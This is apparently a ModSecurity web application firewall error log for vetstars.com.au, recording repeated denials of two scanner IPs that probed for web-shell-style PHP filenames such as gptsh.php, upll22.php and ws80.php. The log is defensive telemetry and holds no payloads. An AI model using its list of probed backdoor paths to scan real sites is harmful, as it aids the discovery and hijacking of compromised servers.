[Sun Apr 19 23:14:10.121299 2026] [:error] [pid 15763:tid 15806] [client 20.203.147.105:21080] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeTxQrMXv1Y1THOoxaAYjQAAAgo"]
[Sun Apr 19 23:14:10.852552 2026] [:error] [pid 15693:tid 15696] [client 20.203.147.105:20910] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeTxQsNMD-ccazQlTslmAwAAAUA"]
[Sun Apr 19 23:14:11.474033 2026] [:error] [pid 15764:tid 15836] [client 20.203.147.105:20951] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeTxQ2LL_sqdSHoVp-RCMwAAAko"]
[Sun Apr 19 23:14:12.012777 2026] [:error] [pid 15764:tid 15847] [client 20.203.147.105:20815] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeTxRGLL_sqdSHoVp-RCOQAAAlU"]
[Sun Apr 19 23:14:12.693031 2026] [:error] [pid 47886:tid 47907] [client 20.203.147.105:20828] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTxRESe8yiyuPrD7yOIVAAAANM"]
[Sun Apr 19 23:14:13.243341 2026] [:error] [pid 47773:tid 47835] [client 20.203.147.105:20801] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTxReiBHdnCJDuPq9Ba3AAAAFM"]
[Sun Apr 19 23:14:13.873016 2026] [:error] [pid 15764:tid 15830] [client 20.203.147.105:20845] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTxRWLL_sqdSHoVp-RCRAAAAkQ"]
[Sun Apr 19 23:14:14.463681 2026] [:error] [pid 15764:tid 15838] [client 20.203.147.105:20873] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeTxRmLL_sqdSHoVp-RCRQAAAkw"]
[Sun Apr 19 23:14:15.188305 2026] [:error] [pid 15763:tid 15797] [client 20.203.147.105:20990] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeTxR7MXv1Y1THOoxaAYlAAAAgE"]
[Sun Apr 19 23:14:16.070535 2026] [:error] [pid 15693:tid 15716] [client 20.203.147.105:20810] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeTxSMNMD-ccazQlTslmBQAAAVQ"]
[Sun Apr 19 23:14:16.777876 2026] [:error] [pid 15764:tid 15850] [client 20.203.147.105:20807] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeTxSGLL_sqdSHoVp-RCSwAAAlc"]
[Sun Apr 19 23:14:17.760116 2026] [:error] [pid 15765:tid 15864] [client 20.203.147.105:20973] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "aeTxSfRqinw-W5EwQ74LPAAAAos"]
[Sun Apr 19 23:14:18.694016 2026] [:error] [pid 47772:tid 47804] [client 20.203.147.105:20907] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aeTxSoc0L16cb4smAz_gfwAAAA8"]
[Sun Apr 19 23:14:19.523045 2026] [:error] [pid 15693:tid 15701] [client 20.203.147.105:20761] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aeTxS8NMD-ccazQlTslmCAAAAUU"]
[Sun Apr 19 23:14:20.101381 2026] [:error] [pid 15693:tid 15706] [client 20.203.147.105:20833] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aeTxTMNMD-ccazQlTslmCwAAAUo"]
[Sun Apr 19 23:14:20.965018 2026] [:error] [pid 47886:tid 47892] [client 20.203.147.105:20746] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws61.php"] [unique_id "aeTxTESe8yiyuPrD7yOIXQAAAMQ"]
[Sun Apr 19 23:14:21.705372 2026] [:error] [pid 15764:tid 15838] [client 20.203.147.105:20802] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-image.php"] [unique_id "aeTxTWLL_sqdSHoVp-RCUgAAAkw"]
[Sun Apr 19 23:14:22.512849 2026] [:error] [pid 47775:tid 47847] [client 20.203.147.105:20776] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-image.php"] [unique_id "aeTxTrmztjlk9tsmoewrygAAAIQ"]
[Sun Apr 19 23:14:23.287698 2026] [:error] [pid 15764:tid 15841] [client 20.203.147.105:20821] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-image.php"] [unique_id "aeTxT2LL_sqdSHoVp-RCVwAAAk8"]
[Sun Apr 19 23:14:23.851523 2026] [:error] [pid 15764:tid 15847] [client 20.203.147.105:20842] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-image.php"] [unique_id "aeTxT2LL_sqdSHoVp-RCWAAAAlU"]
[Sun Apr 19 23:30:29.994613 2026] [:error] [pid 15764:tid 15826] [client 20.215.51.14:7111] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeT1FWLL_sqdSHoVp-RH1wAAAkA"]
[Sun Apr 19 23:30:31.106248 2026] [:error] [pid 15763:tid 15811] [client 20.215.51.14:7134] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeT1F7MXv1Y1THOoxaAb-QAAAg8"]
[Sun Apr 19 23:30:32.092502 2026] [:error] [pid 15760:tid 15787] [client 20.215.51.14:7053] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeT1GPSdD_XHQMJ_IStzDQAAAdM"]
[Sun Apr 19 23:30:33.010589 2026] [:error] [pid 15760:tid 15789] [client 20.215.51.14:7120] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b7cdb465.php"] [unique_id "aeT1GfSdD_XHQMJ_IStzEQAAAdU"]
[Sun Apr 19 23:30:34.375456 2026] [:error] [pid 47775:tid 47851] [client 20.215.51.14:7044] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeT1Grmztjlk9tsmoewuzwAAAIg"]
[Sun Apr 19 23:30:35.332425 2026] [:error] [pid 15760:tid 15768] [client 20.215.51.14:7125] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeT1G_SdD_XHQMJ_IStzFQAAAcA"]
[Sun Apr 19 23:30:36.262154 2026] [:error] [pid 15760:tid 15774] [client 20.215.51.14:7056] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeT1HPSdD_XHQMJ_IStzGgAAAcY"]
[Sun Apr 19 23:30:37.386581 2026] [:error] [pid 47772:tid 47802] [client 20.215.51.14:7067] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeT1HYc0L16cb4smAz_lVwAAAA0"]
[Sun Apr 19 23:30:38.517575 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7045] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeT1HvSdD_XHQMJ_IStzHQAAAdA"]
[Sun Apr 19 23:30:39.712579 2026] [:error] [pid 15694:tid 15730] [client 20.215.51.14:7048] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeT1H7imB-jol1fwqAodPQAAAYQ"]
[Sun Apr 19 23:30:41.233713 2026] [:error] [pid 15760:tid 15779] [client 20.215.51.14:7162] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeT1IfSdD_XHQMJ_IStzJQAAAcs"]
[Sun Apr 19 23:30:43.652182 2026] [:error] [pid 15760:tid 15786] [client 20.215.51.14:7139] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upll22.php"] [unique_id "aeT1I_SdD_XHQMJ_IStzJwAAAdI"]
[Sun Apr 19 23:30:44.905789 2026] [:error] [pid 47772:tid 47803] [client 20.215.51.14:7051] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeT1JIc0L16cb4smAz_lYgAAAA4"]
[Sun Apr 19 23:30:45.973506 2026] [:error] [pid 15693:tid 15716] [client 20.215.51.14:7059] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeT1JcNMD-ccazQlTslngQAAAVQ"]
[Sun Apr 19 23:30:47.287580 2026] [:error] [pid 15760:tid 15787] [client 20.215.51.14:7127] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeT1J_SdD_XHQMJ_IStzNwAAAdM"]
[Sun Apr 19 23:30:48.128249 2026] [:error] [pid 15760:tid 15783] [client 20.215.51.14:7128] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aeT1KPSdD_XHQMJ_IStzQAAAAc8"]
[Sun Apr 19 23:30:49.307232 2026] [:error] [pid 15764:tid 15830] [client 20.215.51.14:7058] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yee.php"] [unique_id "aeT1KWLL_sqdSHoVp-RH7AAAAkQ"]
[Sun Apr 19 23:30:50.391498 2026] [:error] [pid 15764:tid 15839] [client 20.215.51.14:7055] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yee.php"] [unique_id "aeT1KmLL_sqdSHoVp-RH8QAAAk0"]
[Sun Apr 19 23:30:51.624787 2026] [:error] [pid 47886:tid 47888] [client 20.215.51.14:7161] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yee.php"] [unique_id "aeT1K0Se8yiyuPrD7yOKvQAAAMA"]
[Sun Apr 19 23:30:52.960589 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7146] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yee.php"] [unique_id "aeT1LPSdD_XHQMJ_IStzTwAAAdA"]
[Sun Apr 19 23:30:53.838827 2026] [:error] [pid 47775:tid 47859] [client 20.215.51.14:7115] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php.php"] [unique_id "aeT1Lbmztjlk9tsmoewu4wAAAJA"]
[Sun Apr 19 23:30:54.627002 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7092] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php.php"] [unique_id "aeT1LvSdD_XHQMJ_IStzWwAAAdA"]
[Sun Apr 19 23:30:55.517530 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7112] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php.php"] [unique_id "aeT1L_SdD_XHQMJ_IStzXwAAAc0"]
[Sun Apr 19 23:30:56.373442 2026] [:error] [pid 15760:tid 15780] [client 20.215.51.14:7126] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php.php"] [unique_id "aeT1MPSdD_XHQMJ_IStzZQAAAcw"]
[Sun Apr 19 23:30:57.461986 2026] [:error] [pid 47775:tid 47856] [client 20.215.51.14:7117] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeT1Mbmztjlk9tsmoewu5AAAAI0"]
[Sun Apr 19 23:30:58.196322 2026] [:error] [pid 47772:tid 47799] [client 20.215.51.14:7153] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeT1Moc0L16cb4smAz_laQAAAAo"]
[Sun Apr 19 23:30:59.186467 2026] [:error] [pid 47772:tid 47798] [client 20.215.51.14:7041] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeT1M4c0L16cb4smAz_lagAAAAk"]
[Sun Apr 19 23:31:00.069126 2026] [:error] [pid 47772:tid 47809] [client 20.215.51.14:7040] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeT1NIc0L16cb4smAz_lbQAAABQ"]
[Sun Apr 19 23:31:01.244867 2026] [:error] [pid 15763:tid 15804] [client 20.215.51.14:7160] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeT1NbMXv1Y1THOoxaAcMgAAAgg"]
[Sun Apr 19 23:31:02.408861 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7137] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeT1NvSdD_XHQMJ_IStzbwAAAc0"]
[Sun Apr 19 23:31:03.557807 2026] [:error] [pid 47886:tid 47893] [client 20.215.51.14:7082] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeT1N0Se8yiyuPrD7yOKwwAAAMU"]
[Sun Apr 19 23:31:04.757097 2026] [:error] [pid 15765:tid 15860] [client 20.215.51.14:7149] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dgmry.php"] [unique_id "aeT1OPRqinw-W5EwQ74NhwAAAoc"]
[Sun Apr 19 23:31:06.072601 2026] [:error] [pid 15765:tid 15869] [client 20.215.51.14:7138] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeT1OvRqinw-W5EwQ74NiwAAApA"]
[Sun Apr 19 23:31:07.295708 2026] [:error] [pid 47772:tid 47810] [client 20.215.51.14:7072] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeT1O4c0L16cb4smAz_lcwAAABU"]
[Sun Apr 19 23:31:08.312081 2026] [:error] [pid 47775:tid 47851] [client 20.215.51.14:7140] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeT1PLmztjlk9tsmoewu6gAAAIg"]
[Sun Apr 19 23:31:09.493081 2026] [:error] [pid 47886:tid 47912] [client 20.215.51.14:7133] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/itlvk.php"] [unique_id "aeT1PUSe8yiyuPrD7yOKxwAAANg"]
